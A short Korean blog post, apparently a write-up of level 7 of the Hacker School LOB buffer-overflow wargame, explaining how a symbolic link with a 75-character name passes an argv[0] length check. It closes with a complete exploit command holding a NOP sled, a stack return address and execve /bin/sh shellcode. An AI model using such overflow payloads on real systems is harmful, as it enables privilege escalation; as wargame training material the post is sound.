본문 바로가기

WarGame/HackerSchool_LOB

HackerSchool LOB Level7

뭔가 계속 순식간에 넘어가는 느낌이다.


일단 소스를 보자



나머지는 6번문제와 다 똑같은데


here is changed 부분이 추가되었다.

소스를 보니

argv[0]의 길이가 77이 아니면

프로그램은 종료된다.


따라서 argv[0]인 파일명의 길이가 77이 되어야 한다는 소리다.


어떻게 파일명을 조작할 수 있을까??


cp를 하여 파일을 복사해버리면 권한이 바뀌어 상승된 권한을 가진 쉘을 딸 수가 없다.

그럼 권한을 그대로 가진 채 파일명을 어떻게 바꿀 수 있을까?

검색하다보니 심볼릭링크를 사용하면 가능했다.

그래서 파일명의 길이를 77로 주고 만들어 보았다.

그런데 여전히 argv[0] error 가 발생하였다.


다시 검색을 해보니

파일명에 ./ 이게 붙어서 들어간다고 한다.

그래서 다시 75개로 하여 심볼릭 링크를 만들었다.


좋다.

세그멘테이션 폴트가 뜬다.

이제 나머지는 이전문제들과 똑같다.

시도해보자



./`python -c 'print "A"*75'` `python -c 'print "\x90"*44+"\x48\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*50'`


성공!








'WarGame > HackerSchool_LOB' 카테고리의 다른 글

HackerSchool LOB Level9  (0) 2014.07.30
HackerSchool LOB Level8  (0) 2014.07.29
HackerSchool LOB Level6  (0) 2014.07.29
HackerSchool LOB Level5  (0) 2014.07.29
HackerSchool LOB Level4  (0) 2014.07.26